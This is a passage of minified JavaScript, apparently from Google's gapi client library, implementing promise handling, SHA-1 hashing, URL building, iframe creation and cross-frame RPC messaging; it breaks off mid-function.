rh=function(a,b,c,d){if(3==c&&b.On&&!b.Wo)for(;a&&a.iu;a=a.hb)a.iu=!1;if(b.Ok)b.Ok.hb=null,wh(b,c,d);else try{b.Wo?b.Yq.call(b.context):wh(b,c,d)}catch(e){xh.call(null,e)}fh.put(b)},wh=function(a,b,c){2==b?a.Yq.call(a.context,c):a.On&&a.On.call(a.context,c)},uh=function(a,b){a.iu=!0;_.$g(function(){a.iu&&xh.call(null,b)})},xh=Og,oh=function(a){_.Ig.call(this,a)};_.z(oh,_.Ig);oh.prototype.name="cancel"; var lh=function(a,b,c){this.promise=a;this.resolve=b;this.reject=c}; _.Im=function(a){return new _.dh(a)}; _.Jm=_.Jm||{};_.Jm.oT=function(){var a=0,b=0;window.self.innerHeight?(a=window.self.innerWidth,b=window.self.innerHeight):window.document.documentElement&&window.document.documentElement.clientHeight?(a=window.document.documentElement.clientWidth,b=window.document.documentElement.clientHeight):window.document.body&&(a=window.document.body.clientWidth,b=window.document.body.clientHeight);return{width:a,height:b}}; _.Jm=_.Jm||{}; (function(){function a(a,c){window.getComputedStyle(a,"").getPropertyValue(c).match(/^([0-9]+)/);return(0,window.parseInt)(RegExp.$1,10)}_.Jm.Xc=function(){var b=_.Jm.oT().height,c=window.document.body,d=window.document.documentElement;if("CSS1Compat"===window.document.compatMode&&d.scrollHeight)return d.scrollHeight!==b?d.scrollHeight:d.offsetHeight;if(0<=window.navigator.userAgent.indexOf("AppleWebKit")){b=0;for(c=[window.document.body];0<c.length;){var e=c.shift();d=e.childNodes;if("undefined"!== typeof e.style){var f=e.style.overflowY;f||(f=(f=window.document.defaultView.getComputedStyle(e,null))?f.overflowY:null);if("visible"!=f&&"inherit"!=f&&(f=e.style.height,f||(f=(f=window.document.defaultView.getComputedStyle(e,null))?f.height:""),0<f.length&&"auto"!=f))continue}for(e=0;e<d.length;e++){f=d[e];if("undefined"!==typeof f.offsetTop&&"undefined"!==typeof f.offsetHeight){var h=f.offsetTop+f.offsetHeight+a(f,"margin-bottom");b=Math.max(b,h)}c.push(f)}}return b+a(window.document.body,"border-bottom")+ a(window.document.body,"margin-bottom")+a(window.document.body,"padding-bottom")}if(c&&d)return e=d.scrollHeight,f=d.offsetHeight,d.clientHeight!==f&&(e=c.scrollHeight,f=c.offsetHeight),e>b?e>f?e:f:e<f?e:f}})(); var fl;fl=/^https?:\/\/(?:\w|[\-\.])+\.google\.(?:\w|[\-:\.])+(?:\/[^\?#]*)?\/u\/(\d)\//; _.gl=function(a){var b=_.H("googleapis.config/sessionIndex");"string"===typeof b&&254<b.length&&(b=null);null==b&&(b=window.__X_GOOG_AUTHUSER);"string"===typeof b&&254<b.length&&(b=null);if(null==b){var c=window.google;c&&(b=c.authuser)}"string"===typeof b&&254<b.length&&(b=null);null==b&&(a=a||window.location.href,b=_.Xd(a,"authuser")||null,null==b&&(b=(b=a.match(fl))?b[1]:null));if(null==b)return null;b=String(b);254<b.length&&(b=null);return b}; var ll=function(){this.wj=-1};_.ml=function(){this.wj=64;this.Fc=[];this.Rx=[];this.rP=[];this.zv=[];this.zv[0]=128;for(var a=1;a<this.wj;++a)this.zv[a]=0;this.Dw=this.An=0;this.reset()};_.z(_.ml,ll);_.ml.prototype.reset=function(){this.Fc[0]=1732584193;this.Fc[1]=4023233417;this.Fc[2]=2562383102;this.Fc[3]=271733878;this.Fc[4]=3285377520;this.Dw=this.An=0}; var nl=function(a,b,c){c||(c=0);var d=a.rP;if(_.u(b))for(var e=0;16>e;e++)d[e]=b.charCodeAt(c)<<24|b.charCodeAt(c+1)<<16|b.charCodeAt(c+2)<<8|b.charCodeAt(c+3),c+=4;else for(e=0;16>e;e++)d[e]=b[c]<<24|b[c+1]<<16|b[c+2]<<8|b[c+3],c+=4;for(e=16;80>e;e++){var f=d[e-3]^d[e-8]^d[e-14]^d[e-16];d[e]=(f<<1|f>>>31)&4294967295}b=a.Fc[0];c=a.Fc[1];var h=a.Fc[2],k=a.Fc[3],l=a.Fc[4];for(e=0;80>e;e++){if(40>e)if(20>e){f=k^c&(h^k);var n=1518500249}else f=c^h^k,n=1859775393;else 60>e?(f=c&h|k&(c|h),n=2400959708): (f=c^h^k,n=3395469782);f=(b<<5|b>>>27)+f+l+n+d[e]&4294967295;l=k;k=h;h=(c<<30|c>>>2)&4294967295;c=b;b=f}a.Fc[0]=a.Fc[0]+b&4294967295;a.Fc[1]=a.Fc[1]+c&4294967295;a.Fc[2]=a.Fc[2]+h&4294967295;a.Fc[3]=a.Fc[3]+k&4294967295;a.Fc[4]=a.Fc[4]+l&4294967295}; _.ml.prototype.update=function(a,b){if(null!=a){_.r(b)||(b=a.length);for(var c=b-this.wj,d=0,e=this.Rx,f=this.An;d<b;){if(0==f)for(;d<=c;)nl(this,a,d),d+=this.wj;if(_.u(a))for(;d<b;){if(e[f]=a.charCodeAt(d),++f,++d,f==this.wj){nl(this,e);f=0;break}}else for(;d<b;)if(e[f]=a[d],++f,++d,f==this.wj){nl(this,e);f=0;break}}this.An=f;this.Dw+=b}}; _.ml.prototype.digest=function(){var a=[],b=8*this.Dw;56>this.An?this.update(this.zv,56-this.An):this.update(this.zv,this.wj-(this.An-56));for(var c=this.wj-1;56<=c;c--)this.Rx[c]=b&255,b/=256;nl(this,this.Rx);for(c=b=0;5>c;c++)for(var d=24;0<=d;d-=8)a[b]=this.Fc[c]>>d&255,++b;return a}; _.ol=function(){this.jD=new _.ml};_.g=_.ol.prototype;_.g.reset=function(){this.jD.reset()};_.g.qM=function(a){this.jD.update(a)};_.g.pG=function(){return this.jD.digest()};_.g.HD=function(a){a=(0,window.unescape)((0,window.encodeURIComponent)(a));for(var b=[],c=0,d=a.length;c<d;++c)b.push(a.charCodeAt(c));this.qM(b)};_.g.Ig=function(){for(var a=this.pG(),b="",c=0;c<a.length;c++)b+="0123456789ABCDEF".charAt(Math.floor(a[c]/16))+"0123456789ABCDEF".charAt(a[c]%16);return b}; var Lm,Km,Rm,Sm,Mm,Pm,Nm,Tm,Om;_.Qm=function(){if(Km){var a=new _.Nd.Uint32Array(1);Lm.getRandomValues(a);a=Number("0."+a[0])}else a=Mm,a+=(0,window.parseInt)(Nm.substr(0,20),16),Nm=Om(Nm),a/=Pm+Math.pow(16,20);return a};Lm=_.Nd.crypto;Km=!1;Rm=0;Sm=0;Mm=1;Pm=0;Nm="";Tm=function(a){a=a||_.Nd.event;var b=a.screenX+a.clientX<<16;b+=a.screenY+a.clientY;b*=(new Date).getTime()%1E6;Mm=Mm*b%Pm;0<Rm&&++Sm==Rm&&_.ae(_.Nd,"mousemove",Tm,"remove","de")};Om=function(a){var b=new _.ol;b.HD(a);return b.Ig()}; Km=!!Lm&&"function"==typeof Lm.getRandomValues;Km||(Pm=1E6*(window.screen.width*window.screen.width+window.screen.height),Nm=Om(_.Qd.cookie+"|"+_.Qd.location+"|"+(new Date).getTime()+"|"+Math.random()),Rm=_.H("random/maxObserveMousemove")||0,0!=Rm&&_.be(_.Nd,"mousemove",Tm)); var Vm,Zm,$m,an,bn,cn,dn,en,fn,gn,hn,jn,kn,on,qn,rn,sn,tn,un,vn;_.Um=function(a,b){b=b instanceof _.Wc?b:_.ad(b);a.href=_.Xc(b)};_.Wm=function(a){return!!a&&"object"===typeof a&&_.Sd.test(a.push)};_.Xm=function(a){for(var b=0;b<this.length;b++)if(this[b]===a)return b;return-1};_.Ym=function(a,b){if(!a)throw Error(b||"");};Zm=/&/g;$m=/</g;an=/>/g;bn=/"/g;cn=/'/g;dn=function(a){return String(a).replace(Zm,"&amp;").replace($m,"&lt;").replace(an,"&gt;").replace(bn,"&quot;").replace(cn,"&#39;")};en=/[\ud800-\udbff][\udc00-\udfff]|[^!-~]/g; fn=/%([a-f]|[0-9a-fA-F][a-f])/g;gn=/^(https?|ftp|file|chrome-extension):$/i; hn=function(a){a=String(a);a=a.replace(en,function(a){try{return(0,window.encodeURIComponent)(a)}catch(f){return(0,window.encodeURIComponent)(a.replace(/^[^%]+$/g,"\ufffd"))}}).replace(_.Zd,function(a){return a.replace(/%/g,"%25")}).replace(fn,function(a){return a.toUpperCase()});a=a.match(_.Yd)||[];var b=_.D(),c=function(a){return a.replace(/\\/g,"%5C").replace(/\^/g,"%5E").replace(/`/g,"%60").replace(/\{/g,"%7B").replace(/\|/g,"%7C").replace(/\}/g,"%7D")},d=!!(a[1]||"").match(gn);b.ep=c((a[1]|| "")+(a[2]||"")+(a[3]||(a[2]&&d?"/":"")));d=function(a){return c(a.replace(/\?/g,"%3F").replace(/#/g,"%23"))};b.query=a[5]?[d(a[5])]:[];b.rh=a[7]?[d(a[7])]:[];return b};jn=function(a){return a.ep+(0<a.query.length?"?"+a.query.join("&"):"")+(0<a.rh.length?"#"+a.rh.join("&"):"")};kn=function(a,b){var c=[];if(a)for(var d in a)if(_.Ud(a,d)&&null!=a[d]){var e=b?b(a[d]):a[d];c.push((0,window.encodeURIComponent)(d)+"="+(0,window.encodeURIComponent)(e))}return c}; _.ln=function(a,b,c,d){a=hn(a);a.query.push.apply(a.query,kn(b,d));a.rh.push.apply(a.rh,kn(c,d));return jn(a)}; _.mn=function(a,b){var c=hn(b);b=c.ep;c.query.length&&(b+="?"+c.query.join(""));c.rh.length&&(b+="#"+c.rh.join(""));var d="";2E3<b.length&&(c=b,b=b.substr(0,2E3),b=b.replace(_.$d,""),d=c.substr(b.length));var e=a.createElement("div");a=a.createElement("a");c=hn(b);b=c.ep;c.query.length&&(b+="?"+c.query.join(""));c.rh.length&&(b+="#"+c.rh.join(""));a.href=b;e.appendChild(a);e.innerHTML=e.innerHTML;b=String(e.firstChild.href);e.parentNode&&e.parentNode.removeChild(e);c=hn(b+d);b=c.ep;c.query.length&& (b+="?"+c.query.join(""));c.rh.length&&(b+="#"+c.rh.join(""));return b};_.nn=/^https?:\/\/[^\/%\\?#\s]+\/[^\s]*$/i;on=function(a){for(;a.firstChild;)a.removeChild(a.firstChild)};_.pn=function(a,b){var c=_.Td(_.ce,"watt",_.D());_.Td(c,a,b)};qn=/^https?:\/\/(?:\w|[\-\.])+\.google\.(?:\w|[\-:\.])+(?:\/[^\?#]*)?\/b\/(\d{10,21})\//; rn=function(a){var b=_.H("googleapis.config/sessionDelegate");"string"===typeof b&&21<b.length&&(b=null);null==b&&(b=(a=(a||window.location.href).match(qn))?a[1]:null);if(null==b)return null;b=String(b);21<b.length&&(b=null);return b};sn=function(){var a=_.ce.onl;if(!a){a=_.D();_.ce.onl=a;var b=_.D();a.e=function(a){var c=b[a];c&&(delete b[a],c())};a.a=function(a,d){b[a]=d};a.r=function(a){delete b[a]}}return a};tn=function(a,b){b=b.onload;return"function"===typeof b?(sn().a(a,b),b):null}; un=function(a){_.Ym(/^\w+$/.test(a),"Unsupported id - "+a);sn();return'onload="window.___jsl.onl.e(&#34;'+a+'&#34;)"'};vn=function(a){sn().r(a)}; var xn,yn,Cn;_.wn={allowtransparency:"true",frameborder:"0",hspace:"0",marginheight:"0",marginwidth:"0",scrolling:"no",style:"",tabindex:"0",vspace:"0",width:"100%"};xn={allowtransparency:!0,onload:!0};yn=0;_.zn=function(a,b){var c=0;do var d=b.id||["I",yn++,"_",(new Date).getTime()].join("");while(a.getElementById(d)&&5>++c);_.Ym(5>c,"Error creating iframe id");return d};_.An=function(a,b){return a?b+"/"+a:""}; _.Bn=function(a,b,c,d){var e={},f={};a.documentMode&&9>a.documentMode&&(e.hostiemode=a.documentMode);_.Vd(d.queryParams||{},e);_.Vd(d.fragmentParams||{},f);var h=d.pfname;var k=_.D();_.H("iframes/dropLegacyIdParam")||(k.id=c);k._gfid=c;k.parent=a.location.protocol+"//"+a.location.host;c=_.Xd(a.location.href,"parent");h=h||"";!h&&c&&(h=_.Xd(a.location.href,"_gfid","")||_.Xd(a.location.href,"id",""),h=_.An(h,_.Xd(a.location.href,"pfname","")));h||(c=_.cf(_.Xd(a.location.href,"jcp","")))&&"object"== typeof c&&(h=_.An(c.id,c.pfname));k.pfname=h;d.connectWithJsonParam&&(h={},h.jcp=_.df(k),k=h);h=_.Xd(b,"rpctoken")||e.rpctoken||f.rpctoken;h||(h=d.rpctoken||String(Math.round(1E8*_.Qm())),k.rpctoken=h);d.rpctoken=h;_.Vd(k,d.connectWithQueryParams?e:f);k=a.location.href;a=_.D();(h=_.Xd(k,"_bsh",_.ce.bsh))&&(a._bsh=h);(k=_.ce.dpo?_.ce.h:_.Xd(k,"jsh",_.ce.h))&&(a.jsh=k);d.hintInFragment?_.Vd(a,f):_.Vd(a,e);return _.ln(b,e,f,d.paramsSerializer)}; Cn=function(a){_.Ym(!a||_.nn.test(a),"Illegal url for new iframe - "+a)}; _.Dn=function(a,b,c,d,e){Cn(c.src);var f,h=tn(d,c),k=h?un(d):"";try{window.document.all&&(f=a.createElement('<iframe frameborder="'+dn(String(c.frameborder))+'" scrolling="'+dn(String(c.scrolling))+'" '+k+' name="'+dn(String(c.name))+'"/>'))}catch(n){}finally{f||(f=a.createElement("iframe"),h&&(f.onload=function(){f.onload=null;h.call(this)},vn(d)))}f.setAttribute("ng-non-bindable","");for(var l in c)a=c[l],"style"===l&&"object"===typeof a?_.Vd(a,f.style):xn[l]||f.setAttribute(l,String(a));(l=e&& e.beforeNode||null)||e&&e.dontclear||on(b);b.insertBefore(f,l);f=l?l.previousSibling:b.lastChild;c.allowtransparency&&(f.allowTransparency=!0);return f}; var En,Hn;En=/^:[\w]+$/;_.Fn=/:([a-zA-Z_]+):/g;_.Gn=function(){var a=_.gl()||"0",b=rn();var c=_.gl(void 0)||a;var d=rn(void 0),e="";c&&(e+="u/"+(0,window.encodeURIComponent)(String(c))+"/");d&&(e+="b/"+(0,window.encodeURIComponent)(String(d))+"/");c=e||null;(e=(d=!1===_.H("isLoggedIn"))?"_/im/":"")&&(c="");var f=_.H("iframes/:socialhost:"),h=_.H("iframes/:im_socialhost:");return Vm={socialhost:f,ctx_socialhost:d?h:f,session_index:a,session_delegate:b,session_prefix:c,im_prefix:e}}; Hn=function(a,b){return _.Gn()[b]||""};_.In=function(a){return _.mn(_.Qd,a.replace(_.Fn,Hn))};_.Jn=function(a){var b=a;En.test(a)&&(b=_.H("iframes/"+b.substring(1)+"/url"),_.Ym(!!b,"Unknown iframe url config for - "+a));return _.In(b)}; _.Kn=function(a,b,c){var d=c||{};c=d.attributes||{};_.Ym(!(d.allowPost||d.forcePost)||!c.onload,"onload is not supported by post iframe (allowPost or forcePost)");a=_.Jn(a);c=b.ownerDocument||_.Qd;var e=_.zn(c,d);a=_.Bn(c,a,e,d);var f=_.D();_.Vd(_.wn,f);_.Vd(d.attributes,f);f.name=f.id=e;f.src=a;d.eurl=a;var h=d||{},k=!!h.allowPost;if(h.forcePost||k&&2E3<a.length){h=hn(a);f.src="";f["data-postorigin"]=a;a=_.Dn(c,b,f,e);if(-1!=window.navigator.userAgent.indexOf("WebKit")){var l=a.contentWindow.document; l.open();f=l.createElement("div");k={};var n=e+"_inner";k.name=n;k.src="";k.style="display:none";_.Dn(c,f,k,n,d)}f=(d=h.query[0])?d.split("&"):[];d=[];for(k=0;k<f.length;k++)n=f[k].split("=",2),d.push([(0,window.decodeURIComponent)(n[0]),(0,window.decodeURIComponent)(n[1])]);h.query=[];f=jn(h);_.Ym(_.nn.test(f),"Invalid URL: "+f);h=c.createElement("form");h.action=f;h.method="POST";h.target=e;h.style.display="none";for(e=0;e<d.length;e++)f=c.createElement("input"),f.type="hidden",f.name=d[e][0],f.value= d[e][1],h.appendChild(f);b.appendChild(h);h.submit();h.parentNode.removeChild(h);l&&l.close();b=a}else b=_.Dn(c,b,f,e,d);return b}; _.Ln=function(a){this.R=a};_.g=_.Ln.prototype;_.g.value=function(){return this.R};_.g.uk=function(a){this.R.width=a;return this};_.g.Ed=function(){return this.R.width};_.g.rk=function(a){this.R.height=a;return this};_.g.Xc=function(){return this.R.height};_.g.Jd=function(a){this.R.style=a;return this};_.g.zl=_.ea(9); var Mn=function(a){this.R=a};_.g=Mn.prototype;_.g.no=function(a){this.R.anchor=a;return this};_.g.vf=function(){return this.R.anchor};_.g.IC=function(a){this.R.anchorPosition=a;return this};_.g.rk=function(a){this.R.height=a;return this};_.g.Xc=function(){return this.R.height};_.g.uk=function(a){this.R.width=a;return this};_.g.Ed=function(){return this.R.width}; _.Nn=function(a){this.R=a||{}};_.g=_.Nn.prototype;_.g.value=function(){return this.R};_.g.setUrl=function(a){this.R.url=a;return this};_.g.getUrl=function(){return this.R.url};_.g.Jd=function(a){this.R.style=a;return this};_.g.zl=_.ea(8);_.g.Zi=function(a){this.R.id=a};_.g.ka=function(){return this.R.id};_.g.tk=_.ea(10);_.On=function(a,b){a.R.queryParams=b;return a};_.Pn=function(a,b){a.R.relayOpen=b;return a};_.Nn.prototype.oo=_.ea(11);_.Nn.prototype.getContext=function(){return this.R.context}; _.Nn.prototype.Qc=function(){return this.R.openerIframe};_.Qn=function(a){return new Mn(a.R)};_.Nn.prototype.hn=function(){this.R.attributes=this.R.attributes||{};return new _.Ln(this.R.attributes)};_.Rn=function(a){a.R.connectWithQueryParams=!0;return a}; var Sn,Yn,Zn,$n,go,fo;_.Ln.prototype.zl=_.rc(9,function(){return this.R.style});_.Nn.prototype.zl=_.rc(8,function(){return this.R.style});Sn=function(a,b){a.R.onload=b};_.Tn=function(a){a.R.closeClickDetection=!0};_.Un=function(a){return a.R.rpctoken};_.Vn=function(a,b){a.R.messageHandlers=b;return a};_.Wn=function(a,b){a.R.messageHandlersFilter=b;return a};_.Xn=function(a){a.R.waitForOnload=!0;return a};Yn=function(a){return(a=a.R.timeout)?a:null}; _.bo=function(a,b,c){if(a){_.Ym(_.Wm(a),"arrayForEach was called with a non array value");for(var d=0;d<a.length;d++)b.call(c,a[d],d)}};_.co=function(a,b,c){if(a)if(_.Wm(a))_.bo(a,b,c);else{_.Ym("object"===typeof a,"objectForEach was called with a non object value");c=c||a;for(var d in a)_.Ud(a,d)&&void 0!==a[d]&&b.call(c,a[d],d)}}; _.eo=function(a){return new _.dh(function(b,c){var d=a.length,e=[];if(d)for(var f=function(a,c){d--;e[a]=c;0==d&&b(e)},h=function(a){c(a)},k=0,l;k<a.length;k++)l=a[k],_.kh(l,_.Of(f,k),h);else b(e)})};go=function(a){this.resolve=this.reject=null;this.promise=_.Im((0,_.A)(function(a,c){this.resolve=a;this.reject=c},this));a&&(this.promise=fo(this.promise,a))};fo=function(a,b){return a.then(function(a){try{b(a)}catch(d){}return a})}; _.ho=function(a){this.R=a||{}};_.z(_.ho,_.Nn);_.io=function(a,b){a.R.frameName=b;return a};_.ho.prototype.Cd=function(){return this.R.frameName};_.jo=function(a,b){a.R.rpcAddr=b;return a};_.ho.prototype.xl=function(){return this.R.rpcAddr};_.ko=function(a,b){a.R.retAddr=b;return a};_.lo=function(a){return a.R.retAddr};_.ho.prototype.Nh=function(a){this.R.origin=a;return this};_.ho.prototype.Qa=function(){return this.R.origin};_.ho.prototype.$i=function(a){this.R.setRpcReady=a;return this};_.mo=function(a){return a.R.setRpcReady}; _.ho.prototype.qo=function(a){this.R.context=a};var no=function(a,b){a.R._rpcReadyFn=b};_.ho.prototype.Ha=function(){return this.R.iframeEl}; var oo,so,ro;oo=/^[\w\.\-]*$/;_.po=function(a){return a.wd===a.getContext().wd};_.M=function(){return!0};_.qo=function(a){for(var b=_.D(),c=0;c<a.length;c++)b[a[c]]=!0;return function(a){return!!b[a.wd]}};so=function(a,b,c){return function(d){if(!b.Fb){_.Ym(this.origin===b.wd,"Wrong origin "+this.origin+" != "+b.wd);var e=this.callback;d=ro(a,d,b);!c&&0<d.length&&_.eo(d).then(e)}}};ro=function(a,b,c){a=Zn[a];if(!a)return[];for(var d=[],e=0;e<a.length;e++)d.push(_.hh(a[e].call(c,b,c)));return d}; _.to=function(a,b,c){_.Ym("_default"!=a,"Cannot update default api");$n[a]={map:b,filter:c}};_.uo=function(a,b,c){_.Ym("_default"!=a,"Cannot update default api");_.Td($n,a,{map:{},filter:_.po}).map[b]=c};_.vo=function(a,b){_.Td($n,"_default",{map:{},filter:_.M}).map[a]=b;_.co(_.ao.Ge,function(c){c.register(a,b,_.M)})};_.wo=function(){return _.ao}; _.yo=function(a){a=a||{};this.Fb=!1;this.bK=_.D();this.Ge=_.D();this.Ee=a._window||_.Nd;this.yd=this.Ee.location.href;this.cK=(this.OB=xo(this.yd,"parent"))?xo(this.yd,"pfname"):"";this.Aa=this.OB?xo(this.yd,"_gfid")||xo(this.yd,"id"):"";this.uf=_.An(this.Aa,this.cK);this.wd=_.Xj.Qa(this.yd);if(this.Aa){var b=new _.ho;_.jo(b,a._parentRpcAddr||"..");_.ko(b,a._parentRetAddr||this.Aa);b.Nh(_.Xj.Qa(this.OB||this.yd));_.io(b,this.cK);this.hb=this.uj(b.value())}else this.hb=null};_.g=_.yo.prototype; _.g.Dn=_.ea(3);_.g.Ca=function(){if(!this.Fb){for(var a=0;a<this.Ge.length;a++)this.Ge[a].Ca();this.Fb=!0}};_.g.Cd=function(){return this.uf};_.g.vb=function(){return this.Ee};_.g.mb=function(){return this.Ee.document};_.g.gw=_.ea(12);_.g.Ez=function(a){return this.bK[a]}; _.g.uj=function(a){_.Ym(!this.Fb,"Cannot attach iframe in disposed context");a=new _.ho(a);a.xl()||_.jo(a,a.ka());_.lo(a)||_.ko(a,"..");a.Qa()||a.Nh(_.Xj.Qa(a.getUrl()));a.Cd()||_.io(a,_.An(a.ka(),this.uf));var b=a.Cd();if(this.Ge[b])return this.Ge[b];var c=a.xl(),d=c;a.Qa()&&(d=c+"|"+a.Qa());var e=_.lo(a),f=_.Un(a);f||(f=(f=a.Ha())&&(f.getAttribute("data-postorigin")||f.src)||a.getUrl(),f=_.Xd(f,"rpctoken"));no(a,_.Hm(d,e,f,a.R._popupWindow));d=((window.gadgets||{}).rpc||{}).setAuthToken;f&&d&&d(c, f);var h=new _.zo(this,c,b,a),k=a.R.messageHandlersFilter;_.co(a.R.messageHandlers,function(a,b){h.register(b,a,k)});_.mo(a)&&h.$i();_.Ao(h,"_g_rpcReady");return h};_.g.vC=function(a){_.io(a,null);var b=a.ka();!b||oo.test(b)&&!this.vb().document.getElementById(b)||(_.ue("Ignoring requested iframe ID - "+b),a.Zi(null))};var xo=function(a,b){var c=_.Xd(a,b);c||(c=_.cf(_.Xd(a,"jcp",""))[b]);return c||""}; _.yo.prototype.Tg=function(a){_.Ym(!this.Fb,"Cannot open iframe in disposed context");var b=new _.ho(a);Bo(this,b);var c=b.Cd();if(c&&this.Ge[c])return this.Ge[c];this.vC(b);c=b.getUrl();_.Ym(c,"No url for new iframe");var d=b.R.queryParams||{};d.usegapi="1";_.On(b,d);d=this.ZH&&this.ZH(c,b);d||(d=b.R.where,_.Ym(!!d,"No location for new iframe"),c=_.Kn(c,d,a),b.R.iframeEl=c,d=c.getAttribute("id"));_.jo(b,d).Zi(d);b.Nh(_.Xj.Qa(b.R.eurl||""));this.iJ&&this.iJ(b,b.Ha());c=this.uj(a);c.aD&&c.aD(c,a); (a=b.R.onCreate)&&a(c);b.R.disableRelayOpen||c.Yo("_open");return c}; var Co=function(a,b,c){var d=b.R.canvasUrl;if(!d)return c;_.Ym(!b.R.allowPost&&!b.R.forcePost,"Post is not supported when using canvas url");var e=b.getUrl();_.Ym(e&&_.Xj.Qa(e)===a.wd&&_.Xj.Qa(d)===a.wd,"Wrong origin for canvas or hidden url "+d);b.setUrl(d);_.Xn(b);b.R.canvasUrl=null;return function(a){var b=a.vb(),d=b.location.hash;d=_.Jn(e)+(/#/.test(e)?d.replace(/^#/,"&"):d);b.location.replace(d);c&&c(a)}},Eo=function(a,b,c){var d=b.R.relayOpen;if(d){var e=a.hb;d instanceof _.zo?(e=d,_.Pn(b,0)): 0<Number(d)&&_.Pn(b,Number(d)-1);if(e){_.Ym(!!e.VJ,"Relaying iframe open is disabled");if(d=b.zl())if(d=_.Do[d])b.qo(a),d(b.value()),b.qo(null);b.R.openerIframe=null;c.resolve(e.VJ(b));return!0}}return!1},Io=function(a,b,c){var d=b.zl();if(d)if(_.Ym(!!_.Fo,"Defer style is disabled, when requesting style "+d),_.Go[d])Bo(a,b);else return Ho(d,function(){_.Ym(!!_.Go[d],"Fail to load style - "+d);c.resolve(a.open(b.value()))}),!0;return!1}; _.yo.prototype.open=function(a,b){_.Ym(!this.Fb,"Cannot open iframe in disposed context");var c=new _.ho(a);b=Co(this,c,b);var d=new go(b);(b=c.getUrl())&&c.setUrl(_.Jn(b));if(Eo(this,c,d)||Io(this,c,d)||Eo(this,c,d))return d.promise;if(null!=Yn(c)){var e=(0,window.setTimeout)(function(){h.Ha().src="about:blank";d.reject({timeout:"Exceeded time limit of :"+Yn(c)+"milliseconds"})},Yn(c)),f=d.resolve;d.resolve=function(a){(0,window.clearTimeout)(e);f(a)}}c.R.waitForOnload&&Sn(c.hn(),function(){d.resolve(h)}); var h=this.Tg(a);c.R.waitForOnload||d.resolve(h);return d.promise};_.yo.prototype.pH=_.ea(13);_.zo=function(a,b,c,d){this.Fb=!1;this.Od=a;this.Ti=b;this.uf=c;this.ya=d;this.eo=_.lo(this.ya);this.wd=this.ya.Qa();this.jV=this.ya.Ha();this.OL=this.ya.R.where;this.Un=[];this.Yo("_default");a=this.ya.R.apis||[];for(b=0;b<a.length;b++)this.Yo(a[b]);this.Od.Ge[c]=this};_.g=_.zo.prototype;_.g.Dn=_.ea(2); _.g.Ca=function(){if(!this.Fb){for(var a=0;a<this.Un.length;a++)this.unregister(this.Un[a]);delete _.ao.Ge[this.Cd()];this.Fb=!0}};_.g.getContext=function(){return this.Od};_.g.xl=function(){return this.Ti};_.g.Cd=function(){return this.uf};_.g.Ha=function(){return this.jV};_.g.$a=function(){return this.OL};_.g.Ze=function(a){this.OL=a};_.g.$i=function(){(0,this.ya.R._rpcReadyFn)()};_.g.pL=function(a,b){this.ya.value()[a]=b};_.g.Mz=function(a){return this.ya.value()[a]};_.g.Ob=function(){return this.ya.value()}; _.g.ka=function(){return this.ya.ka()};_.g.Qa=function(){return this.wd};_.g.register=function(a,b,c){_.Ym(!this.Fb,"Cannot register handler on disposed iframe "+a);_.Ym((c||_.po)(this),"Rejecting untrusted message "+a);c=this.uf+":"+this.Od.uf+":"+a;1==_.Td(Zn,c,[]).push(b)&&(this.Un.push(a),_.wm(c,so(c,this,"_g_wasClosed"===a)))}; _.g.unregister=function(a,b){var c=this.uf+":"+this.Od.uf+":"+a,d=Zn[c];d&&(b?(b=_.Xm.call(d,b),0<=b&&d.splice(b,1)):d.splice(0,d.length),0==d.length&&(b=_.Xm.call(this.Un,a),0<=b&&this.Un.splice(b,1),_.xm(c)))};_.g.YS=function(){return this.Un};_.g.Yo=function(a){this.Dx=this.Dx||[];if(!(0<=_.Xm.call(this.Dx,a))){this.Dx.push(a);a=$n[a]||{map:{}};for(var b in a.map)_.Ud(a.map,b)&&this.register(b,a.map[b],a.filter)}}; _.g.send=function(a,b,c,d){_.Ym(!this.Fb,"Cannot send message to disposed iframe - "+a);_.Ym((d||_.po)(this),"Wrong target for message "+a);c=new go(c);_.Am(this.Ti,this.Od.uf+":"+this.uf+":"+a,c.resolve,b);return c.promise};_.Ao=function(a,b,c,d){return a.send(b,c,d,_.M)};_.zo.prototype.tX=function(a){return a};_.zo.prototype.ping=function(a,b){return _.Ao(this,"_g_ping",b,a)};Zn=_.D();$n=_.D();_.ao=new _.yo;_.vo("_g_rpcReady",_.zo.prototype.$i);_.vo("_g_discover",_.zo.prototype.YS); _.vo("_g_ping",_.zo.prototype.tX); var Ho,Bo;_.Go=_.D();_.Do=_.D();_.Fo=function(a){return _.Go[a]};Ho=function(a,b){_.Wd.load("gapi.iframes.style."+a,b)};Bo=function(a,b){var c=b.zl();if(c){b.Jd(null);var d=_.Go[c];_.Ym(d,"No such style: "+c);b.qo(a);d(b.value());b.qo(null)}};var Jo,Ko;Jo={height:!0,width:!0};Ko=/^(?!-*(?:expression|(?:moz-)?binding))(?:[.#]?-?(?:[_a-z0-9-]+)(?:-[_a-z0-9-]+)*-?|-?(?:[0-9]+(?:\.[0-9]*)?|\.[0-9]+)(?:[a-z]{1,2}|%)?|!important|)$/i;_.Lo=function(a){"number"===typeof a&&(a=String(a)+"px");return a};_.zo.prototype.vb=function(){if(!_.po(this))return null;var a=this.ya.R._popupWindow;if(a)return a;var b=this.Ti.split("/");a=this.getContext().vb();for(var c=0;c<b.length&&a;c++){var d=b[c];a=".."===d?a==a.parent?a.opener:a.parent:a.frames[d]}return a}; var Mo=function(a,b){var c=a.hb,d=!0;b.filter&&(d=b.filter.call(b.yf,b.params));return _.hh(d).then(function(d){return d&&c?(b.aK&&b.aK.call(a,b.params),d=b.sender?b.sender(b.params):_.Ao(c,b.message,b.params),b.S_?d.then(function(){return!0}):!0):!1})}; _.yo.prototype.dy=function(a,b,c){a=Mo(this,{sender:function(a){var b=_.ao.hb;_.co(_.ao.Ge,function(c){c!==b&&_.Ao(c,"_g_wasClosed",a)});return _.Ao(b,"_g_closeMe",a)},message:"_g_closeMe",params:a,yf:c,filter:this.Ez("onCloseSelfFilter")});b=new go(b);b.resolve(a);return b.promise};_.yo.prototype.sC=function(a,b,c){a=a||{};b=new go(b);b.resolve(Mo(this,{message:"_g_restyleMe",params:a,yf:c,filter:this.Ez("onRestyleSelfFilter"),S_:!0,aK:this.pM}));return b.promise}; _.yo.prototype.pM=function(a){"auto"===a.height&&(a.height=_.Jm.Xc())};_.No=function(a){var b={};if(a)for(var c in a)_.Ud(a,c)&&_.Ud(Jo,c)&&Ko.test(a[c])&&(b[c]=a[c]);return b};_.g=_.zo.prototype;_.g.close=function(a,b){return _.Ao(this,"_g_close",a,b)};_.g.tr=function(a,b){return 